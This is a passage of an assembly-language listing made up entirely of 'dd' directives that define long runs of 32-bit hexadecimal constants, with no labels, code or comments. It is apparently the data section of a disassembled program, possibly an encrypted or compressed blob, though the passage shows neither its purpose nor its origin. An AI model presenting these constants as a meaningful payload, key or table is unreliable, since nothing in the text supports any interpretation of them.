		dd 0FB02D9B1h, 13731EFDh, 0D0CE9925h, 0C5CD624Ah, 38D76797h
		dd 9F0B4EBAh, 0F370D51Bh, 48B77A60h, 49A65AC0h,	0CB29711Bh
		dd 0B9E9CE11h, 7B75FD71h, 367AE6D9h, 30FF3206h,	0F4BEF540h
		dd 0CD6CF11Fh, 0C6E2C472h, 8AD6737h, 31E9598Dh,	97C8E71Fh
		dd 0E733EB45h, 0A688EFD9h, 0D2013D7Bh, 4CF12220h, 6DB0DBABh
		dd 99DC48B1h, 0A2AFE282h, 8F889A3h, 0DE8C86Ch, 5651D4C2h
		dd 0AE8D6350h, 39968C04h, 649DDABDh, 98D1467Fh,	0F1E5B14Dh
		dd 3BD46C55h, 41D64D11h, 29D89FAEh, 3371CBCFh, 4F73585Bh
		dd 2DE1776Ah, 0E2DEB202h, 0D2EE0B33h, 0FD0B708Ch, 4A7BF2B3h
		dd 0FCD67BC4h, 54796E21h, 2861A80Ch, 15050CFCh,	755F964Dh
		dd 0D037CDA1h, 8B3EE961h, 5F7F8DA7h, 1CA1B4F8h,	74648081h
		dd 9539E51Fh, 0B9116E7Ch, 3E0EE783h, 8A0EAF9Ch,	0B36B94C0h
		dd 0C06646C8h, 0E8FC1E5Dh, 6A81F2C7h, 0FA1E0F22h, 9A64EE91h
		dd 0C8D5D39h, 0E90F8D54h, 0C61F238Dh, 468F6D1Ah, 31E01ED9h
		dd 8CD86C95h, 996FC21Eh, 0B8C39DAEh, 0AEB37BDDh, 42E86E94h
		dd 5D90F655h, 0CD6C76BBh, 442F94F6h, 0F5F69334h, 54F355E6h
		dd 0DD110E3Ch, 0C670E62Fh, 8E9A1235h, 0B97B1E8h, 299FEA29h
		dd 4698D251h, 6078ED75h, 2982866Dh, 799666B6h, 7EC1A84Dh
		dd 0E240A124h, 0AB07849Dh, 0C268DC4Ah, 0C333DA28h, 0B3D24972h
		dd 0A17C069Ah, 6CAB8500h, 0C6078027h, 71B0563Eh, 5E6440E7h
		dd 8E73C993h, 112276D5h, 56F0A0ABh, 1EA4F1F0h, 8829D9D1h
		dd 6FEE70EBh, 0CC5E88D5h, 0A0000651h, 4291008Dh, 0ACF84C44h
		dd 23535E91h, 5C22F6E0h, 286E923Fh, 8D464FC9h, 0CDC03548h
		dd 4387FC97h, 7F38A468h, 88D875C4h, 277A4AE4h, 0E8858F0Dh
		dd 29C97806h, 0AEC3734Fh, 0DE8312AAh, 272EE785h, 998F1E1h
		dd 0F8726538h, 0F0500897h, 93C9A2A5h, 682ED237h, 675C0429h
		dd 38D810Fh, 0BB56C7CEh, 0DE83F76Fh, 0A07EC38Ah, 0BA761309h
		dd 0DCCCFEA6h, 964195Ch, 9F9050FBh, 3FC1BA08h, 9DE07376h
		dd 0F2A9625Ah, 0C39EDDF7h, 784AD794h, 58B32466h, 0D362798Dh
		dd 0C07F2185h, 0C025F725h, 0B64B4DEFh, 91D28482h, 63CFEA70h
		dd 1F02FAF0h, 0F45359DDh, 8EE8134Eh, 26AD4522h,	0F7D32F0Ch
		dd 13E7C1C2h, 495F31E7h, 0CB5DE1Bh, 0E9BB1480h,	0B48ABB02h
		dd 4AA2AE5Ah, 0BFD7266h, 8075EFA1h, 0EECAD4BAh,	1925BE5h
		dd 0A29A1618h, 0DCA481F7h, 8FE453DAh, 0AB59BE0h, 4DE32D2Bh
		dd 0C0A0B54Bh, 0BEE8D3BAh, 760B3E82h, 0EDDFBD9Dh, 4187E021h
		dd 1E63CC00h, 6529FCA5h, 43DF8DC6h, 7FD2666Dh, 680B2AB9h
		dd 1474E984h, 30E623EEh, 0C3058E36h, 0A6C3630Dh, 0EE1DCDADh
		dd 57B549B7h, 32BF52DFh, 0AEFFD8E3h, 48DB06B8h,	878079B6h
		dd 1D5F403Dh, 0FB2D9502h, 9189A20Eh, 82BE0841h,	0C4167A41h
		dd 6DFF407Ah, 59D93161h, 0CCB4BB8Dh, 7588CAF3h,	7AAC6887h
		dd 28F8A4A2h, 4908256Dh, 35C832F8h, 0EF14F2E0h,	0C8416143h
		dd 0A7838B32h, 98576C09h, 9F8A65AEh, 3B79CDECh,	44D3239Ch
		dd 28F160C4h, 3390DCCCh, 2DCEB715h, 88474F17h, 2B4F4ECAh
		dd 710A1022h, 7D911EFEh, 6FA5E9FCh, 7799C584h, 3E4B11Bh
		dd 0B4C5D09Eh, 12D3B48Ah, 33AB5CA2h, 0BC763D5Eh, 49CDD6CFh
		dd 1780B08Ah, 8570C775h, 681A09B3h, 0C1733E0Fh,	40DA9C1Ch
		dd 0D5D912E2h, 474EFCDEh, 731D7BA3h, 0CB844A65h, 0F591FE3h
		dd 0C477A879h, 40224352h, 0A8C562F6h, 5EE8E9DAh, 5EE6FC5Bh
		dd 15DCDC9Ah, 0ED8FE7D0h, 0D0BC2D75h, 0EF469B2Eh, 0F4602B7Fh
		dd 765924FAh, 70C1C72Bh, 0A0A7CCF9h, 0B25F5CF3h, 6BC59ACh
		dd 0D3249276h, 0C3742CF7h, 0B39DA490h, 37A2430Ah, 0FB98AFE3h
		dd 3EA69239h, 19097CBDh, 5022A021h, 95ED44F7h, 94DC72A8h
		dd 0CA3F50FFh, 9430EC82h, 0A0BF2710h, 3514A753h, 978577F2h
		dd 0CF15B547h, 59483C90h
		dd 9058A32Ah, 0FF0FA71Ah, 3F090C9h, 0BC5BBD37h,	8FB62DA1h
		dd 48C339A3h, 1882AD7Bh, 956890EEh, 2F4C669Eh, 8D3A4E06h
		dd 4F4E7998h, 0DE42F398h, 0A87D7A94h, 75EBD34Dh, 0FDB538EDh
		dd 169D0C17h, 0C192E15Ch, 6A9846A4h, 384739Fh, 0EFA31104h
		dd 7A7147Fh, 4B9F4800h,	231F2560h, 11CA23A0h, 0E5F12FCDh
		dd 0A76D5938h, 31B2CD28h, 7565FD71h, 0E9938A20h, 626B6A18h
		dd 1E36AF0Dh, 90BE0C8Ah, 35C75CD4h, 0BCEAF222h,	0CC442AB7h
		dd 1CC3FEDAh, 0BE00BD35h, 283299B7h, 0E2ECF1D9h, 1D75E727h
		dd 78FCAF3h, 41D77316h,	4EC09A29h, 0EFB89B72h, 0E4FE05B9h
		dd 0BCFFD640h, 0F472D2E9h, 47BA5FB3h, 66A44F49h, 0EC4978C0h
		dd 0A42DB056h, 2C82C020h, 63901A90h, 6AE2F227h,	0A233689Fh
		dd 10F96CE5h, 0C6A27066h, 0D45C312Dh, 9AD64DBAh, 0A486FA41h
		dd 8EA7258h, 4DDEF706h,	6F13A6A6h, 355F3C27h, 0B1B41CC5h
		dd 973C6832h, 1E38F7BAh, 412EE88Bh, 3D4289FBh, 38B72186h
		dd 0F08CA117h, 73A2E889h, 0C0C52310h, 1C00F594h, 4B05CD32h
		dd 0C0C4AFD5h, 0E2D78EF1h, 32A4A1A7h, 7904344Fh, 0D3A94552h
		dd 9DEB67BAh, 0FC4C6DEDh, 3B245BA7h, 49E89C3h, 139961A9h
		dd 0A0A48215h, 7573EA1Bh, 3446A0E0h, 8A00B5F9h,	0F04E1335h
		dd 827A036h, 792BADC1h,	0C09CF761h, 936326C9h, 0BA0550EBh
		dd 5295A2CDh, 0A1D9BBA9h, 8837A874h, 5B40595Bh,	2EEB8337h
		dd 1160905h, 61C3DFA4h,	0EA20CDCBh, 0C29D5C41h,	37020D4Ch
		dd 3FA112BEh, 78CC98C1h, 0A7100D38h, 2E97E1D6h,	0F463E48Eh
		dd 7945BA7Bh, 3C022720h, 8A7057EBh, 9DD85734h, 0FE855FCh
		dd 2BE7387Ch, 6E05BFC9h, 6B466E59h, 0B6254BA1h,	21A06D18h
		dd 0AF781480h, 6BAF5F34h, 297BE65Bh, 0C624346Dh, 0DA3076D5h
		dd 0FB3D0AE2h, 0EEF97ECCh, 1EFBB57Fh, 54FA5933h, 1ECB4398h
		dd 7A4A0D8Eh, 1850C1AFh, 0F023ADA4h, 954A01Ch, 0BEAF8519h
		dd 1D9D7EB9h, 7131CF8Dh, 29EB3ACCh, 1FB9AFF0h, 0C0FB1E32h
		dd 0AA10E253h, 0CF73B07h, 7B5FF02Bh, 0EEFB637Ah, 5B12981Bh
		dd 0BA495E9h, 8FDF6F2Eh, 0BC1CE4A1h, 52A51302h,	672F3F7Fh
		dd 21FBFD11h, 0DC40B022h, 0C2C98Eh, 8E489BD2h, 538B3259h
		dd 78362CEAh, 1DD9973Ch, 22137DFBh, 0FB88E52Dh,	7FC0BF1Eh
		dd 90E78C3Fh, 5DEA0F31h, 6C395906h, 64D37B3Ah, 0B12AC2B8h
		dd 0B4E15FCCh, 60BEF8F8h, 6C700F09h, 7CE1582Dh,	9821B8D7h
		dd 92821E79h, 0F453B2FAh, 669FC62Bh, 96EBC13Fh,	0C57BCE8h
		dd 0B2520B88h, 0B753BFF4h, 1312B8EEh, 0A55CCC6Ch, 136585D9h
		dd 0BF24562Fh, 4469863Ah, 0F665397Fh, 979B3128h, 0FB44E5D9h
		dd 2742918Dh, 80033A8Dh, 6FE98183h, 0D01A7049h,	0C90F76CCh
		dd 4A1C53E4h, 0F574ACDAh, 6D661D0Fh, 11E48A33h,	0ED544F98h
		dd 486DCA57h, 0A72A6C39h, 0F7BFEC04h, 829D2C58h, 0B00F736Dh
		dd 5B730AF6h, 580A2E57h, 1FC61191h, 84044162h, 0C558FDA0h
		dd 0B44EF61Bh, 365DF2D8h, 6F8CC12Eh, 0B577B8A7h, 0BE8814FFh
		dd 43719C8Eh, 0EDB0C0CEh, 84499C14h, 8E411FBEh,	4DB74CDDh
		dd 0F107FCBBh, 871E0933h, 0E06FA85Ch, 8A57752Bh, 707B3552h
		dd 30C3FDAEh, 7FD64103h, 9FAB4557h, 85CA58EEh, 25F13552h
		dd 0EFC07086h, 0C1E17B52h, 0EE346B5Eh, 0D4ED3A55h, 97A0F376h
		dd 0E45E7861h, 3C4F2602h, 13E2F3C6h, 701692DFh,	89D3F368h
		dd 9768EF32h, 80591Ah, 0CDC17A8Bh, 22F8F588h, 0C7E3D87Eh
		dd 53922D8h, 3F8749F0h,	7D0F3FECh, 0D0FA7D1Eh, 21D60634h
		dd 62959817h, 4DF8E263h, 0B0A12643h, 1A13B656h,	3CB214B8h
		dd 84445E38h, 67CE849Fh, 65C9ABC9h, 0E78BEAF4h,	0AC153F48h
		dd 41E67BEDh, 877F6A8Ch, 8BB8E747h, 0CAD124B1h,	4DE0FCEh
		dd 0DF6176E6h, 4BD8A0BFh, 0B0913DDBh, 0C75CFC71h, 0B1B8A7D5h
		dd 268B0A2Ch, 0E390EE43h, 53670DCEh, 0F3105DDBh, 0D09F80h
		dd 0F8193EBDh, 37150B0Bh, 8E8ABDF0h, 7CC8DA74h,	0AAFCB491h
		dd 0ECAF4E99h, 1D711ABEh, 0AF87B914h, 84CB229Ch, 86402D55h
		dd 0F7380F1Ch, 3C428937h, 107521A9h, 9436F400h,	1A4D2700h
		dd 517B81B5h, 9B4629B6h, 334E4A99h, 3AD96292h, 0AF45CD35h
		dd 9C35BB19h, 0E8DC5A36h, 0B10C1555h, 0C955009Bh, 7DEFB2C5h
		dd 0FEFC1D76h, 0E146C07Ch, 6DADD385h, 4E9D1C1Ah, 9A2209EEh
		dd 24DCF3C6h, 72042AB9h, 0A03564A6h, 0C0E27F30h, 6E9E035Ch
		dd 0A1480473h, 0E44E4B09h, 5E0421CBh, 8BF04F81h, 59562531h
		dd 0C5C5EDEBh, 3FAD665Ah, 0BB18D157h, 6C1C47D6h, 0F6158B2Dh
		dd 0E85E2A5Bh, 9624C969h, 0BF57CC4Ch, 0B6383514h, 88478DB2h
		dd 87A6C03h, 0F82DC7h, 864B1DD4h, 7A046853h, 6C5F6DB8h
		dd 0DF9714B6h, 7628956Ch, 608F9464h, 0A4B8542Eh, 0D5E02E2Ah
		dd 2CB49BA6h, 834904EBh, 0C74B52B3h, 0E841689Ch, 18015328h
		dd 7D10645Fh, 2FB3F1F9h, 0C33B7597h, 0A657077Fh, 0BAACF0DAh
		dd 0AA1D04E5h, 47B927C7h, 6A332B58h, 6848E8FFh,	44456C44h
		dd 9F906F93h, 44274899h, 588D014Bh, 5997F132h, 76FE2FBFh
		dd 0EA3E2A9Eh, 0B088FCD0h, 0A71C5A1h, 47383BF2h, 0BB1F7B15h
		dd 1ACA9352h, 710B2121h, 23A580A2h, 99C3BB6Eh, 62435271h
		dd 2E9BA2Bh, 0A152EF59h, 0D45C21ECh, 0C4783A05h, 0D4FFDEB7h
		dd 956607ADh, 539DD0D5h, 2D31269h, 0F3E554BFh, 3FA869A4h
		dd 73CF4394h, 3F84CCB0h, 9DCBC20h, 0B6970E11h, 0D8B2E1D9h
		dd 0F211E313h, 0E9E426D5h, 0B1519D45h, 63C76EEFh, 0ABD12C7h
		dd 7460F04Fh, 6769CDBDh, 807E30DEh, 0E01978E7h,	0AEDC6DCBh
		dd 5714B1B3h, 739205DDh, 0D0A29FBh, 87A524F5h, 4B9E3950h
		dd 0F57FB7F2h, 4A84A835h, 31DE10D3h, 0EAB5144Eh, 0D0603791h
		dd 0B4AC1B97h, 7A44210Bh, 22124C4Fh, 6F1D30B6h,	0E8958475h
		dd 0EC9220DBh, 0F09CD5DDh, 1713BB21h, 204853B7h, 0F07394E2h
		dd 98E691B7h, 0E62253D3h, 0C5839FF9h, 0D9CACA33h, 0B9DE5237h
		dd 5676BEEh, 8B303D6Ch,	0E9F45A21h, 0CE7312Ah, 9FD0B509h
		dd 966809E8h, 7E541D50h, 785EF638h, 3104F65Fh, 0B4A80092h
		dd 0B1884D0Ah, 4C0BF81Eh, 0E99CFA91h, 8A8BD8B0h, 155534D2h
		dd 1B6F09FEh, 0B954EBECh, 109A86B2h, 32BB46DEh,	0BDB68DA0h
		dd 0ABD95B16h, 84C84DABh, 1945CED4h, 0D9A32873h, 0FE354FD4h
		dd 425AE413h, 0FA4295F8h, 181F23Bh, 4DBEFEB2h, 281E4C2Ch
		dd 99103310h, 0D7E8BFB3h, 6DD0C884h, 0E973A1DDh, 0DB5456B8h
		dd 265EF838h, 6B68217Ch, 94D2B2A9h, 0C11E141Eh,	6AFAE36Eh
		dd 0F7F2B16Ch, 0AEDFCE48h, 0FCA35D32h, 788C701Eh, 72B3D31h
		dd 5FD27514h, 41898C7Fh, 5EC2084Eh, 0F67D9EECh,	7707F4E4h
		dd 453DB08Ch, 0B44B9F6Eh, 6AC92393h, 0D5857629h, 0C71A96A7h
		dd 0AEEEB1Fh, 4A6B4E5Eh, 6664A2F0h, 86A75682h, 9C8EC0BCh
		dd 0AAB98054h, 883DB429h, 465740D9h, 0CC19E4AFh, 0E8E7D111h
		dd 6A210A47h, 0BD04CBE2h, 6C2FA3BFh, 82EA089Bh,	8DF32ACCh
		dd 251272DAh, 0D65AADFCh, 86DE160Eh, 99E804E5h,	84B5CD3Bh
		dd 0E2175265h, 0F9D6DF8h, 43A9267Ah, 0EFF01DA1h, 27D1E1B3h
		dd 2F7B15F9h, 0C6D14834h, 86BF357Eh, 0BFEEBA79h, 0E39D284Ah
		dd 75534E11h, 91D96208h, 6AA35A9Bh, 9CAD0BA0h, 0BC52BC09h
		dd 5FF90EE4h, 1B39EEFCh, 36179AEDh, 0C39B8AD1h,	71519A13h
		dd 0AE1A19CEh, 46E0733Dh, 27D8F304h, 638AEE68h,	0CF14C8E3h
		dd 3C1A010h, 0B36241CDh
		dd 0B4A2E73h, 55619E35h, 0F0CCDD02h, 13E81893h,	0A425C74Bh
		dd 880AE78Dh, 67E139CAh, 0B3F94A09h, 812A0FDh, 842E976Ch
		dd 927F72CBh, 0F1779E1Fh, 728E0BE1h, 0C30DB4C3h, 0C1595B68h
		dd 0B2419FCCh, 7DAD06Bh, 0BF9E9381h, 0E0143A84h, 3B6E45ECh
		dd 27B33F5Bh, 0CF897A46h, 0DC9C2B5Bh, 0EFDA4132h, 0ED21200Ah
		dd 3502F166h, 1891BBA5h, 38940166h, 192B1D89h, 0A9190FE8h
		dd 0B097832Fh, 0ACFAE310h, 0D022EFA5h, 0B5444B0Fh, 0FAD41633h
		dd 3BF37419h, 30B7D13Eh, 0B723D9BAh, 0F4F5F978h, 3CCB4D4Ah
		dd 0E58C3769h, 115EDDBBh, 3D1B87D8h, 722D5E6Dh,	168D1B1h
		dd 0A7FC4812h, 0F3F6E13Fh, 317E5C2Eh, 152B626Bh, 0FE8477EBh
		dd 1B43831Fh, 6F209CC2h, 0C915165Dh, 290DB41Eh,	367D4D0Ch
		dd 34626776h, 0D055DE9Dh, 0CC8509EEh, 0D884AFA6h, 9524A361h
		dd 122D2471h, 0B28DDFh,	0CECB27D2h, 0AF3A24DAh,	0E51CA908h
		dd 107B4D93h, 9D8568E6h, 2B1EBF23h, 0C594E8CAh,	3D0A9DC5h
		dd 0B6A0C543h, 0CF91B90Ah, 3795FF5Ah, 0BF04912Bh, 4046CF9Dh
		dd 0D4CC38D5h, 5006A0F5h, 64DF2043h, 22306CD8h,	0C8605744h
		dd 80827231h, 0ED585E06h, 0ECCBB911h, 1A80D3A8h, 2F9F76EBh
		dd 0C370F57Ah, 124AF2ABh, 0B4D5CEFBh, 97AF9304h, 0E580B943h
		dd 0A5924DF3h, 0D36232DBh, 6A65565Bh, 8A6EBFCEh, 79B5767Ah
		dd 1007D073h, 64251655h, 0B83B6543h, 1ED8740Ch,	688DC89Ah
		dd 0F9C2F3A0h, 0CCFE45BCh, 26D71A66h, 723C33EAh, 0EC4E994Eh
		dd 30A9A9EEh, 75CB81ECh, 0B7D151CCh, 0FD7CF06h,	60C97EA2h
		dd 0CD1A335Dh, 0B286767Bh, 25BB9499h, 2E1ED49Fh, 7DB0AE8Eh
		dd 0F65802DBh, 2F242F59h, 0A5E66F15h, 70F89FC7h, 0AA9DC604h
		dd 0ADBB8CFFh, 6FC76BEDh, 7BBADD76h, 0C2C1BA1Dh, 0ED22D97Ah
		dd 0D24B71DCh, 0A64D33F8h, 0A0454FEEh, 9AA97F04h, 0FB6F7BB9h
		dd 0CDED559h, 631A0540h, 0CEDC3DA2h, 39A6460h, 2A09836Dh
		dd 7312E2E5h, 0BC9A558Bh, 51A6F62Bh, 6E36300Bh,	9858849h
		dd 7627638Eh, 0DA01FBBDh, 27837E4Ch, 866EEBFFh,	0D8320282h
		dd 61AE1768h, 0AC9B19DBh, 2DADB688h, 9748BD68h,	6C2D855Bh
		dd 531D5D68h, 5B429392h, 0B915A623h, 451FABEDh,	0B2925CC5h
		dd 32D7B658h, 0B2311759h, 2B688612h, 2749A8Bh, 0EDA85FACh
		dd 1BA54788h, 0B0F982D8h, 0BE89369Fh, 0AF8F301Ah, 578DE95h
		dd 0C2CE56C6h, 0C1F8E1F3h, 48E58BDAh, 5543D9B9h, 0BCDD14F9h
		dd 7C3D6FF8h, 0FEA57E36h, 91D587B0h, 0CAAE667Fh, 0FC72C496h
		dd 4E5A20C1h, 0D14649C1h, 0B3C0A21Ah, 7A01B932h, 0D404BAE7h
		dd 6B479385h, 0F20C6CC8h, 91AE2F00h, 0AD4AE618h, 0EA388C1Eh
		dd 0C9999D4Eh, 9775051Ah, 4E51D1B8h, 58D4A09h, 0ED318F81h
		dd 7DDD5AFEh, 0F11882B4h, 0E8A83D98h, 683A6C3Eh, 3D1515CFh
		dd 569E90E8h, 62E75220h, 0E86E76EBh, 0BDC9ABFAh, 9680653Eh
		dd 490D3FFDh, 0A2499518h, 0A32B0598h, 0C92BC237h, 0AE7E7A7Dh
		dd 92BBB026h, 7932BF08h, 0B34FA787h, 0A1EE76D0h, 40029721h
		dd 9A848AF4h, 0B84B48D1h, 0C127C653h, 588DF224h, 0F27297A1h
		dd 0D23825D8h, 774B0AB6h, 0A13FCD88h, 356923F1h, 1E3D2EDDh
		dd 0F5AB402Dh, 8414118Ch, 1A5482D1h, 178A96F6h,	1443A6BCh
		dd 0A5B8C25Eh, 8D131C1Bh, 7C523FF6h, 571DAA9Eh,	0FF2F1F28h
		dd 0C9F6D5E3h, 623B0AA0h, 8FE7CD49h, 0AE1AEC09h, 743B627Eh
		dd 0E842BA19h, 4AEE91CDh, 0FE5EE0AAh, 94307546h, 894A4CE9h
		dd 0A0986741h, 81021CA6h, 86E941CCh, 9A7E80AFh,	0CEB513BBh
		dd 0E619DBC8h, 302CE135h, 0E1A525B7h, 4A77850Ah, 980FC186h
		dd 40B8280Ch, 45E96340h, 4645B14Fh, 0CF8299AEh,	0EADA3A46h
		dd 17B5E9BEh, 97770AC7h, 731A9FB5h, 21AD2165h, 0DFB6E2F6h
		dd 5AFFD24Fh, 30C14799h, 4A5833BDh, 25050A56h, 0C9C2C0A7h
		dd 5963795Dh, 0C4397B72h, 32CA9767h, 3DA3C86Ch,	2FCC07C8h
		dd 43A89341h, 960A5235h, 0DE01589h, 0EA69F340h,	15A1B994h
		dd 0C795095h, 0D411D9F4h, 0D2F6E1D8h, 4C76D5D4h, 0A8358D3Eh
		dd 0B8EFE514h, 7558E939h, 9A1C4F6Ah, 37C8321Bh,	71934934h
		dd 0E154C1C8h, 0F985F218h, 41F7D3BFh, 0DD6028A5h, 8BE4A00h
		dd 5E9D2F56h, 24FED150h, 0DA468EF8h, 0C9E0401Dh, 0CC4470F6h
		dd 0BBFD23C6h, 7C0777E6h, 59B88205h, 911D376Fh,	0DDABBBE0h
		dd 0D85E5D8Eh, 53D24E37h, 0ED9DE8EFh, 0CA40768Ch, 0C7C7076Ch
		dd 7B0D7C8Dh, 1BFEBFCh,	796DF5B0h, 1FCC3518h, 0D5EC8EBEh
		dd 0D0C96C42h, 9FCE0B3Ch, 0B9A65022h, 90B04F1Bh, 20B66F69h
		dd 79EDF916h, 0CC3B1FF4h, 7F2E63E9h, 0DB868A36h, 0F53D2D32h
		dd 87347F51h, 1E725C71h, 74438457h, 1FBF4D4Bh, 0C5A3B4DDh
		dd 0CF7A249Dh, 0FC97E79Ah, 0DA4E4254h, 0D67EA206h, 9418EE36h
		dd 590FD44Eh, 831C3638h, 8EC87315h, 70E43AFAh, 467AF449h
		dd 44D56015h, 2956B9Bh,	0B66F94E5h, 0AA472E53h,	7D87D8DBh
		dd 0E598E6D3h, 17912CF4h, 993C8C84h, 1DC0C71Dh,	3F43AF8Ch
		dd 488DB039h, 21ACF143h, 0C04FB450h, 104F1E35h,	45C54B0Ch
		dd 1442F62Ch, 61EED78Fh, 0F240A041h, 4F816934h,	708478A1h
		dd 0FAA70A0Bh, 0DE4EA1D4h, 8AC15E63h, 89FFC3AAh, 0B36C4E56h
		dd 0AC5B9496h, 221DE283h, 0A5DB60C4h, 0A961624Fh, 2FA73111h
		dd 0B7F2C263h, 0EFC99A31h, 0E0892060h, 0D0074F91h, 0FC8FD339h
		dd 70BBF2FCh, 5C5EE360h, 9667081Ah, 5D2AAFC2h, 9602068Ah
		dd 71A7C065h, 0D70FC1E0h, 718B6456h, 2F087CD4h,	48C79843h
		dd 4C2972B6h, 0EB85C55Bh, 40DC0F97h, 0D1DCDBCDh, 48DC4050h
		dd 0E7A26C51h, 0F655F39h, 0FE49E485h, 0A0388F3h, 57E2620Eh
		dd 555C7BEAh, 0EF8F14F4h, 6887FEBBh, 3FA2A0CEh,	702F5EADh
		dd 0D7055850h, 256316C8h, 1FA0A0B5h, 79487C66h,	405B3288h
		dd 0E6ADEB21h, 88E4614Fh, 0CF6A95B1h, 95513116h, 0B5C6AEh
		dd 5E52FA6Fh, 0FB2502B2h, 5D1D2055h, 9BE9FDBBh,	525CEF8Ch
		dd 0BF55F1B6h, 33F8D379h, 0F176D4B7h, 7CBFE4CDh, 8DEFE45Eh
		dd 0F78E0021h, 4F76F85Dh, 0AD6271C0h, 0D8C035FCh, 0FDB7A6A3h
		dd 6991E44Ch, 0E4402933h, 0B7AE4E3Dh, 67203246h, 3215D7B9h
		dd 0D9E15A83h, 9FD9BE57h, 99A09ADBh, 0BB009458h, 67339040h
		dd 1BB71600h, 9F525631h, 539899FEh, 23A86C8Eh, 0D120099Fh
		dd 5515E442h, 0A022F02Eh, 0A7B47CEAh, 9025DEACh, 0C569AFD2h
		dd 612E98Eh, 73C2C1C0h,	909D09BAh, 7F04B704h, 0FFB7C6DEh
		dd 94A1882Bh, 7FADDCA6h, 567567C0h, 0B714FB0Fh,	4E9BC549h
		dd 0E9C37E4Eh, 64A3DDF4h, 0B308343Bh, 0F6A585h,	5AC4BC63h
		dd 457F24D2h, 0DE56739Fh, 0E870E91Ch, 0B7770B49h, 0F6A43FDCh
		dd 9E30FEBFh, 3D5589E8h, 0E91B2220h, 0CC3451D3h, 8FAFA710h
		dd 0E478411h, 0D4FCAD4Bh, 0D58CCDF4h, 0C5C882E9h, 0BF9F3FA6h
		dd 60C4C579h, 90EACB76h, 4F8000Ch, 0E16C95A7h, 921ABACh
		dd 85D8D444h, 0F02986EBh, 7DC16919h, 64B657C7h,	0A0C43ED4h
		dd 62BC3FFFh, 2FFDA095h, 41BEC18Ah, 0AE85F8C6h,	7AF221CDh
		dd 0E8FBE6E5h, 75827A01h, 6A952812h, 0F405912Eh, 0CA48AB5h
		dd 618C216Eh, 6FABC5B4h, 0A9C1D120h, 0BD226630h, 0A5AD00D0h
		dd 0FD81CD38h, 34209122h, 6D789B89h, 0CA3E9227h, 9079235Bh
		dd 0AD61EBCCh, 93553527h, 7B97610Fh, 7B68A617h,	5BB0E25Fh
		dd 7035CFh, 4939E22Ah, 63D53010h, 3D465157h, 0F99C9506h
		dd 0CAEF4C12h, 197CC1E3h
		dd 0DB02ECE6h, 473D740Bh, 0C66336BAh, 3402B1A5h, 220D0B72h
		dd 0C392493Ch, 12921B0Eh, 3804FDD1h, 1867E98Dh,	39E7919Ah
		dd 0C5A9314Eh, 0A3ECB689h, 994B872Eh, 4A87322Bh, 0D558F234h
		dd 3879B7D8h, 64D4C43Bh, 6DEAC990h, 865D836Ah, 0F857DAACh
		dd 42C76CDAh, 917C41B6h, 61A1FF95h, 94B7D183h, 0D534660Dh
		dd 3E5B8BF9h, 23BEC827h, 8A566CD3h, 0AA96F4E8h,	5238AA79h
		dd 773D51CCh, 72597364h, 6A464626h, 10063E5Ch, 1258ECA3h
		dd 0DB1A5B0Bh, 74625F0Dh, 38394E9Dh, 307E7DB0h,	9107913Bh
		dd 68B3E3E4h, 421965BBh, 5C8EB121h, 3C384B90h, 26502088h
		dd 618EF597h, 14B4A844h, 598F2D19h, 7B651A46h, 87AC6C38h
		dd 61B38154h, 4E773B2Ch, 0BE70C297h, 7862D733h,	0F24B286Eh
		dd 0BF36F58Bh, 0EF4E424Bh, 3F5C3B28h, 0CE11B19Fh, 2AB3D6BDh
		dd 0A02F989Ch, 2FDDAC34h, 0AB08854Dh, 972825FAh, 59C56052h
		dd 61FB6C5Dh, 0B0B2E6F3h, 0EE9298AFh, 0C8C3F184h, 0CB73B4EAh
		dd 0C54B4125h, 0D4A24ADFh, 2E6D71F1h, 0AC83636Fh, 849E09F6h
		dd 0B18BA50h, 0E7236D05h, 66EB976Bh, 0CC2D1FAEh, 190895C3h
		dd 0A95B4441h, 0C1137FBAh, 0ABE896Eh, 0FEBA847Eh, 1B640B3h
		dd 4C061AFDh, 772A991Dh, 703ABF0Fh, 84DAFDF9h, 1A359895h
		dd 19D3C077h, 0BE3CC5CAh, 0DCE04A22h, 0D7C53EB5h, 0A54DB677h
		dd 7A911A67h, 28721400h, 4AC13877h, 3C7FE095h, 8A6E64h
		dd 7F59C9FEh, 0E7334B77h, 0A0E2C7A4h, 16B9F9Ch,	700AC4E2h
		dd 618E44C0h, 7E9F8DA6h, 0A1D3AF52h, 202A7F0Dh,	1AE8BB39h
		dd 8696F828h, 4EAE4317h, 97967F7Bh, 798E2290h, 4493A232h
		dd 0A977DE85h, 0C67AF5F5h, 8BD1913Dh, 558AF18h,	7DDCB5F1h
		dd 74B16A67h, 0B28363C5h, 2FE099A5h, 3771BF49h,	1139C1FDh
		dd 0ED8D1052h, 703D8AD5h, 476AB0FDh, 8D53139Ah,	8D1D2E11h
		dd 93A7B6B2h, 0CF0A9B3Dh, 3A878E34h, 0CD310427h, 0C31E2319h
		dd 0FF07E20h, 0D1D86A86h, 0BCA54923h, 0DBC3EEE8h, 46187336h
		dd 3B9371E9h, 9BB50CCh,	2A8A48A4h, 0CC38C2B8h, 70711268h
		dd 0FA0C0A27h, 152A796h, 83023E67h, 0A0043F30h,	2ABCD7EDh
		dd 39F0AEC6h, 0C4132DFEh, 0ADC0BDB4h, 0EEE9C39Bh, 0C0723ABBh
		dd 500F0D6Fh, 3EF12D3Fh, 0D948B03Dh, 0C603681Ch, 83325DC0h
		dd 5B01988Eh, 0A151953h, 0BB690939h, 5C676150h,	0B6C25F8Ch
		dd 814D89E6h, 543B7914h, 0E91D451Ah, 0D1B2C250h, 45B6A84Fh
		dd 2A36D5EEh, 0BB095A4Fh, 0BBE84271h, 95E77FCBh, 7B5FBF18h
		dd 0C366308Dh, 994AE5C8h, 4F49E671h, 4B261BEh, 0D228F984h
		dd 2A7491B1h, 60989C6Dh, 0C64773CAh, 43A3FF6Ah,	0D0CC14F1h
		dd 0B2F6ED12h, 467703D0h, 21FFC25Fh, 8E9C1865h,	0FCDEC794h
		dd 0E822D89Ch, 0DC2D4072h, 6661F514h, 24233EF2h, 98731380h
		dd 0BB8414B9h, 7548E294h, 5F883A66h, 87154A70h,	2DB2782Eh
		dd 80B19797h, 0A3051AC9h, 1293AEBBh, 82772F06h,	5B9B104h
		dd 87CDEC4Dh, 3C6171EBh, 55B8A10Fh, 0DF8C11C9h,	583576BFh
		dd 0AEE7C6B7h, 35565E1Dh, 0A1C5D1C6h, 9A2FE41Eh, 491F0F4Eh
		dd 0B9908965h, 8001AFE1h, 4F02661Ch, 0F63A44Eh,	0A3A0898Ah
		dd 0D19983A9h, 0B5799BCh, 8B5BD1BCh, 30384B75h,	7A59B625h
